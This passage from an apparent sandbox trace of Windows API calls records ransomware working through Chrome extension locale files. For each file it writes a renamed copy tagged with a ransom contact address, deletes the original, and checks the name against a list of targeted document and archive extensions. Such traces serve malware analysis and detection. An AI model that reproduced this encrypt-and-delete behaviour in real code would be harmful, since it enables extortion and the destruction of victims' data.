dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.796] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.796] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.797] GetLastError () returned 0x0 [0171.797] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe0, lpOverlapped=0x0) returned 1 [0172.093] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.094] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.094] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.094] SetEndOfFile (hFile=0x198) returned 1 [0172.094] CloseHandle (hObject=0x198) returned 1 [0172.094] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.094] SetEndOfFile (hFile=0x1b4) returned 1 [0172.095] CloseHandle (hObject=0x1b4) returned 1 [0172.095] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.095] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json")) returned 1 [0172.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.096] lstrlenW (lpString=".doc") returned 4 [0172.096] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.096] lstrlenW (lpString=".docx") returned 5 [0172.096] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.096] lstrlenW (lpString=".pdf") returned 4 [0172.096] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.096] lstrlenW (lpString=".xls") returned 4 [0172.096] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.096] lstrlenW (lpString=".xlsx") returned 5 [0172.096] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.096] lstrlenW (lpString=".ppt") returned 4 [0172.096] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.096] lstrlenW (lpString=".zip") returned 4 [0172.096] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.096] lstrlenW (lpString=".rar") returned 4 [0172.096] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.096] lstrlenW (lpString=".bz2") returned 4 [0172.096] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.096] lstrlenW (lpString=".7z") returned 3 [0172.096] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.096] lstrlenW (lpString=".dbf") returned 4 [0172.096] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.096] lstrlenW (lpString=".1cd") returned 4 [0172.096] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.096] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.097] lstrlenW (lpString=".jpg") returned 4 [0172.097] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.097] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.097] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.097] lstrlenW (lpString=".doc") returned 4 [0172.097] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.097] lstrlenW (lpString=".docx") returned 5 [0172.097] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.097] lstrlenW (lpString=".pdf") returned 4 [0172.097] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.097] lstrlenW (lpString=".xls") returned 4 [0172.097] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.097] lstrlenW (lpString=".xlsx") returned 5 [0172.097] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.097] lstrlenW (lpString=".ppt") returned 4 [0172.097] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.097] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.097] lstrlenW (lpString=".zip") returned 4 [0172.097] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.097] lstrlenW (lpString=".rar") returned 4 [0172.097] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.097] lstrlenW (lpString=".bz2") returned 4 [0172.097] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.097] lstrlenW (lpString=".7z") returned 3 [0172.097] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.097] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.097] lstrlenW (lpString=".dbf") returned 4 [0172.097] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.097] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.098] lstrlenW (lpString=".1cd") returned 4 [0172.098] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.098] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.098] lstrlenW (lpString=".jpg") returned 4 [0172.098] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.098] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.098] lstrlenW (lpString="messages.json") returned 13 [0172.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.110] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=225) returned 1 [0172.110] CloseHandle (hObject=0x1b4) returned 1 [0172.111] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json")) returned 0x2020 [0172.112] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.112] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.112] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.115] GetLastError () returned 0x0 [0172.115] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe1, lpOverlapped=0x0) returned 1 [0172.116] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.118] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.118] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.118] SetEndOfFile (hFile=0x198) returned 1 [0172.118] CloseHandle (hObject=0x198) returned 1 [0172.119] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.119] SetEndOfFile (hFile=0x1b4) returned 1 [0172.120] CloseHandle (hObject=0x1b4) returned 1 [0172.120] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.120] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json")) returned 1 [0172.120] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.121] lstrlenW (lpString=".doc") returned 4 [0172.121] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.121] lstrlenW (lpString=".docx") returned 5 [0172.121] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.121] lstrlenW (lpString=".pdf") returned 4 [0172.121] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.121] lstrlenW (lpString=".xls") returned 4 [0172.121] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.121] lstrlenW (lpString=".xlsx") returned 5 [0172.121] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.121] lstrlenW (lpString=".ppt") returned 4 [0172.121] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.121] lstrlenW (lpString=".zip") returned 4 [0172.121] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.121] lstrlenW (lpString=".rar") returned 4 [0172.121] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.121] lstrlenW (lpString=".bz2") returned 4 [0172.121] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.121] lstrlenW (lpString=".7z") returned 3 [0172.121] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.121] lstrlenW (lpString=".dbf") returned 4 [0172.121] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.121] lstrlenW (lpString=".1cd") returned 4 [0172.121] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.121] lstrlenW (lpString=".jpg") returned 4 [0172.121] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.122] lstrlenW (lpString=".doc") returned 4 [0172.122] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.122] lstrlenW (lpString=".docx") returned 5 [0172.122] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.122] lstrlenW (lpString=".pdf") returned 4 [0172.122] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.122] lstrlenW (lpString=".xls") returned 4 [0172.122] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.122] lstrlenW (lpString=".xlsx") returned 5 [0172.122] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.122] lstrlenW (lpString=".ppt") returned 4 [0172.122] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.122] lstrlenW (lpString=".zip") returned 4 [0172.122] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.122] lstrlenW (lpString=".rar") returned 4 [0172.122] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.122] lstrlenW (lpString=".bz2") returned 4 [0172.122] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.122] lstrlenW (lpString=".7z") returned 3 [0172.122] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.122] lstrlenW (lpString=".dbf") returned 4 [0172.122] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.122] lstrlenW (lpString=".1cd") returned 4 [0172.122] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 151 [0172.123] lstrlenW (lpString=".jpg") returned 4 [0172.123] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.123] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.123] lstrlenW (lpString="messages.json") returned 13 [0172.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.123] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=291) returned 1 [0172.123] CloseHandle (hObject=0x1b4) returned 1 [0172.123] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json")) returned 0x2020 [0172.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.124] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.124] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.124] GetLastError () returned 0x0 [0172.124] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x123, lpOverlapped=0x0) returned 1 [0172.246] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x130, lpOverlapped=0x0) returned 1 [0172.354] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.354] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.355] SetEndOfFile (hFile=0x198) returned 1 [0172.355] CloseHandle (hObject=0x198) returned 1 [0172.355] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.355] SetEndOfFile (hFile=0x1b4) returned 1 [0172.356] CloseHandle (hObject=0x1b4) returned 1 [0172.356] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.356] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json")) returned 1 [0172.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.356] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0172.356] lstrlenW (lpString=".doc") returned 4 [0172.356] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.356] lstrlenW (lpString=".docx") returned 